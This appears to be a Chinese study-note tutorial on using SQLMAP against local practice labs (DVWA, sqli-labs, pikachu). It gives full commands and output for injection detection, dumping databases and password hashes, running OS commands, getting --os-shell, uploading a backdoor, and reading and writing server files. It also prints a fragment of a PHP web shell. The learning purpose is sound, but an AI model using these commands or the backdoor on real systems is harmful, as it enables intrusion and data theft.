(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
一、介绍
1.SQL注入工具:明小子、啊D、罗卜头、穿山甲、SQLMAP等等
2.SQLMAP:使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!!
3.支持的注入类型:bool、time、报错、union、堆查询、内联
4.功能:
- 可以获取用户名、密码、权限、角色、数据库(表、字段、内容)
- 可以爆破识别密文数据
- getshell(反弹shell)
- 命令执行
- 脱库或删库
二、SQLMAP的目录介绍:
目录 | 介绍 |
doc | 介绍文档 |
extra | sqlmap额外的功能,运行cmd、执行命令 |
lib | sqlmap 的核心功能代码 |
plugins | 包含12种数据库的识别程序 |
data | 存放一些攻击过程种使用的工具或者命令 |
/data/procs | 包含了mssql、mysql、oracle、postgresql这四种数据库的触发程序 |
/data/shell | 远程命令、后门 |
/data/txt | 表名、列名、UA字典 |
/data/udf | 存放攻击载荷(payload) |
/data/XML | 存放检测脚本(payload) |
tamper | 包含各种绕过WAF的处理脚本 |
thirdparty | 包含第三方插件,如颜色、优化等等 |
waf | 识别WAF的脚本 |
三、SQLMAP的工作流程
1.初始化
1 salmap -v 查看版本 2 salmap --update 更新
2.开始检测
- 检测之前是否注入过(会把当前检测URL 默认存放在用户家目录中.sqlmap下的output),使用--output-dir可指定存放的目录
- 解析URL,判断URL是否可访问
- 检测是否有WAF
sqlmap -u "目标url" --identify-waf sqlmap -u "目标url" --check-waf
- 执行用户输入的参数
1 -u 指定URL 2 -p 指定参数 3 -v 指定显示级别 4 --dbs 目标服务器中的数据库 5 --current-db 当前数据库 6 --tables 目标数据库有什么表 7 --columns 目标表中有什么列 8 --dump 获取数据 9 --batch 跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值 10 --dbms 指定数据库类型 11 --current-user 查看当前用户 12 --users 查看所有用户 13 --passwords 数据库密码 14 --hostname 系统名称 15 --banner 数据库信息 16 --roles 数据库用户角色 17 等等
四、步骤详解
- GET型注入的SQLMAP利用方法:
1.判断是否有注入点
sqlmap -u "目标url"
- 当看到探测的结果中有没有环境参数(系统类型和数据库类型),则表明有注入
2.查看所有数据库
1 sqlmap -u "目标_url" --dbs --dbms mysql 2 --dbms=DBMS 指定目标数据库类型
3.获取当前数据库
sqlmap -u "目标_url" --current-db --dbms mysql
4.获取当前数据库下表
1 sqlmap -u "目标_url" -D 库名 --dbms mysql --tables --batch -v 2 -D DB 指定从某个数据库查询数据 3 -v 显示信息的级别,一共有六级: 4 0:只显示python 错误和一些严重信息 5 1:显示基本信息(默认) 6 2:显示debug信息 7 3:显示注入过程的payload 8 4:显示http请求包 9 5:显示http响应头 10 6:显示http相应页面
5.获取当前数据库中指定表下的字段
1 sqlmap -u "目标url" -D 库名 -T 表名 --columns 2 -T TBL 指定从某个表查询数据
6.获取指定字段对应的数据内容
1 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump 2 -C COL 指定从某个列查询数据 3 --dump 查询指定范围的全部数据 4 (对加密的密码进行彩虹表攻击)
五、SQLMAP工具测试
- GET型 ,测试使用DVWA中的SQL Injection模块(Low级别)
1.检测是否有注入点
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
- 翻译(注入过程中询问的内容):
sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php' sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php” you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible') 您尚未声明cookie,而服务器希望设置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible') |
-
由上图可知,结果是跳转到登录页面,是需要带cookie的,查到session为nh9elbltn3coe0kgvdnq1l6755(在地址栏种输入javascript:alert(document.cookie)查询cookie)
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
- POST型注入的SQLMAP利用方法(这种方式GET型数据也可利用):
1.拦截数据包
2.将拦截到的数据包保存在post.txt文件里
- 右键空白处,选择Cope to file
3.查看post.txt的内容
4.使用SQLMAP进行检测
1 python sqlmap.py -r C:\Users\admin\Desktop\post.txt -p "uname" --batch 2 -r 读取指定的文件 3 -p 告诉SQLMAP测试哪个参数
六、cookie 注入
1.介绍:数据经过cookie发送给服务器,cookie可以传输参数,并且有注入点
2.cookie型注入利用方法(测试使用sqli-labs第20关):
- 抓取的数据包来源于下面的界面
- 将抓取到的数据包发送到Repeater模块中,Go一下,查看回显
- 检测注入点
- 将此数据包保存在post_cookie.txt文件里(这个数据类型是GET型,当时写错了)
- 使用SQLMAP进行检测
python sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --cookie "uname=12" --level 2 --level=LEVEL 执行测试的等级(1-5,默认是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload) 或sqlmap.py -r C:\Users\admin\Desktop\post_cookie.txt --level 2
-
- 从回显中可以看到,SQLMAP自动将获取到的数据记录到了一个目录下,进入到该目录下的127.0.0.1中,该目录下的log记录的检查出的结果
七、XFF注入
- 注入基本过程(方法与cookie注入类似)
1.拦包
2.使用SQLMAP检查注入点
- GET型数据:
sqlmap -u “目标URL” -p “x-forwarded-for” -level 3
- POST型数据:
sqlmap -r post_xff.txt --level 3
八、UA注入
- 测试使用sqli-labs第18关
- 注入基本过程(方法与cookie注入类似)
1.拦包
2.使用SQLMAP检查注入点
- GET型数据:
sqlmap -u “目标URL” -p “user-agent” -level 3
- POST型数据:
1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch 2 --dbms 指定目标数据库类型 3 sqlmap -r post_ua.txt --level 3 --current-user 4 --current-user 查看当前用户
九、SQLMAP注入点执行系统命令或交互式shell
1.条件:
- 数据库有读写文件的权限
- 需要知道WEB站点的路径(可使用select @@datadir)
2.使用SQLMAP执行系统命令
1 sqlmap.py -u “目标URL” --os-cmd=ipconfig 2 --os-cmd=OSCMD 执行一句系统命令 3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig 执行系统命令ipconfig 4 sqlmap -r post_ua.txt --level 3 --os-shell 获取系统的shell 5 sqlmap -r post_ua.txt --level 3 --is-dba 判断当前用户是否为管理员
十、延时注入
1 sqlmap.py -u "目标url" --delay 2 2 --delay 2 延时2S注入
十一、执行数据库命令
- 命令:
1 --sql-query=QUERY 执行一个sql语句 2 --sql-shell 创建一个sql的shell(获取一个交互式的数据库终端) 3 --sql-file=SQLFILE 执行一个给定文件中的sql语句
- 注入利用:
- 测试使用pikachu里的sqli中字符型注入(需要在Github中查找资源并搭建)
1.浏览网站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=查询
2.使用SQLMAP检测注入点
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" --batch
3.根据回显存在注入点,使用SQLMAP执行数据库命令
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --os-cmd=whoami
- 在下图红框内可以看到系统命令被正常执行
-
- 翻译(注入过程中询问的内容):
Web服务器支持哪种Web应用程序语言? [1]asp [2]ASPX [3]jsp [4]php(默认) >4 是否希望sqlmap进一步尝试触发完整路径泄漏?[是/否]是 [21:34:02][警告]无法自动检索Web服务器文档根目录 要将什么用于可写目录? [1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默认) [2]自定义位置 [3]自定义目录列表文件 [4]蛮力搜索 >2 是否要检索命令标准输出?[是/否/否]是 命令标准输出:“desktop-18q770s\admin” 请提供一个逗号分隔的绝对目录路径列表:f:\phpstudy_64\phpstudy_Pro\www//路径需要自己输入 |
4.获取一个交互式的数据库终端
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --os-shell
- 在注入过程中会自动生成后门文件
-
- 翻译:
[21:40:33][info]文件暂存器已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php [21:40:33][info]后门已成功上载到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php |
-
-
在浏览器中两个文件访问查看效果
-
http://127.0.0.1/tmpupjuy.php 辅助工具,用来上传木马
-
-
-
-
-
http://127.0.0.1/tmpbaqhn.php 木马
-
-
-
-
-
- 其内容为:
-
-
<?php $c=$_REQUEST["cmd"];
-
-
-
- 浏览http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能
-
-
十二、SQLMAP 直连mysql数据库
1 python sqlmap.py -d "mysql://root:root@目标IP:3306/mysql" -f --banner --dbs --users 2 -f, --fingerprint 指纹信息,返回DBMS,操作系统,架构,补丁等信息 3 --hostname 获取系统信息 4 --banner 获取数据库信息 5 --roles 获取数据库用户角色
十三、sqlmap注入利用Access
1.Access数据库:没有库的概念,打开数据库文件看到只有表和字段以及内容
2.Access注入过程(注意其特性,只有表和表下的字段内容):
- 先探测注入点
- 获取数据库表
sqlmap.py -u "目标url" --tables 获取所有的数据表
- 获取字段
sqlmap.py -u "目标url" -T 表名 --columns 获取字段
- 获取字段内容
sqlmap.py -u "目标url" -T 表名 -C 字段名 --dump 获取字段内容
十四、SQLMAP结合BP日志进行被动式注入发现
- 测试在pikachu里的sqli中数字型注入
1.开启BP2.1的日志记录功能,并将日志内容保存到桌面log.txt中
- 勾选后会弹出下面的窗口,我选择的是已经建好的文件log.txt,弹出警告,选择Yes即可
2.抓包
3.在浏览器中多进行几次提交,需要提前关闭BP中的Intercept is on,然后打开log.txt,浏览器提交的数据全部进入到了log.txt中
4.使用SQLMAP进行检测
1 sqlmap.py -l C:\Users\admin\Desktop\log.txt --batch 2 -l 后接一个log文件,可以是burp等的代理的log文件,之后sqlmap会扫描log中的所有记录
- 翻译(最后一句):
您可以在csv文件“c:\ users\admin\appdata\local\sqlmap\output\results-10302019_1119pm.csv”中找到以多目标模式扫描的结果。 |
5.打开results-10302019_1119pm.csv文件,可知该URL中存在的注入类型
(Parameter:参数 Technique:技术)
- SQLMAP指定测试注入的技术:
1 python sqlmap.py -u “目标URL” -dbms mysql --technique=T 2 --technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用) 3 B: Boolean-based blind SQL injection(布尔型注入) 4 E: Error-based SQL injection(报错型注入) 5 U: UNION query SQL injection(可联合查询注入) 6 S: Stacked queries SQL injection(可多语句查询注入) 7 T: Time-based blind SQL injection(基于时间延迟注入) 8 Q: inline_query SQL injection(内联注入)
十五、SQLMAP读写文件
- 命令:
1 --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径) 2 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell) 3 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
- 测试使用pikachu里的sqli中字符型注入
1.使用SQLMAP读文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --file-read="F:\phpStudy_64\phpstudy_pro\WWW\PDO_kuanjiezi.php"
- 翻译:
正在获取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php” 是否确认已从后端DBMS文件系统成功下载远程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是 [23:57:05][info]本地文件'c:\ users\admin\appdata\local\sqlmap\output\127.0.0.1\files\f_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和远程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b) 文件保存到[1]: C:\Users\admin\AppData\Local\sqlmap\output\127.0.0.1\files [23:57:05][info]获取的数据记录到文本文件中,位于“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”下 |
- 进入C:\users\admin\appdata\local\sqlmap\output\127.0.0.1目录下,里面有读取到的文件的记录,使用SQLMAP读取文件成功
2.使用SQLMAP写文件
- 新建log.txt文件,并写入以下内容
- 使用SQLMAP写文件
sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=æ¥è¯¢" -p name --dbms mysql --file-dest="F:\phpStudy_64\phpstudy_pro\WWW\loglog.php(目标服务器中的文件,绝对路径)" --file-write="C:\Users\admin\Desktop\log.txt(攻击者电脑中的文件路径)"
-
- 翻译:
是否要确认本地文件“c:/users/admin/desktop/log.txt”已成功写入后端DBMS文件系统(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是 [00:08:58][info]远程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b) [00:08:58][info]获取的数据记录到文本文件中,位于“C:\users\admin\appdata\local\sqlmap\output\127.0.0.1”下 |
-
使用WinHex打开F:/phpstudy_64/phpstudy_Pro/www/loglog.php
- 使用浏览器进行访问,可以看到使用SQLMAP写入文件成功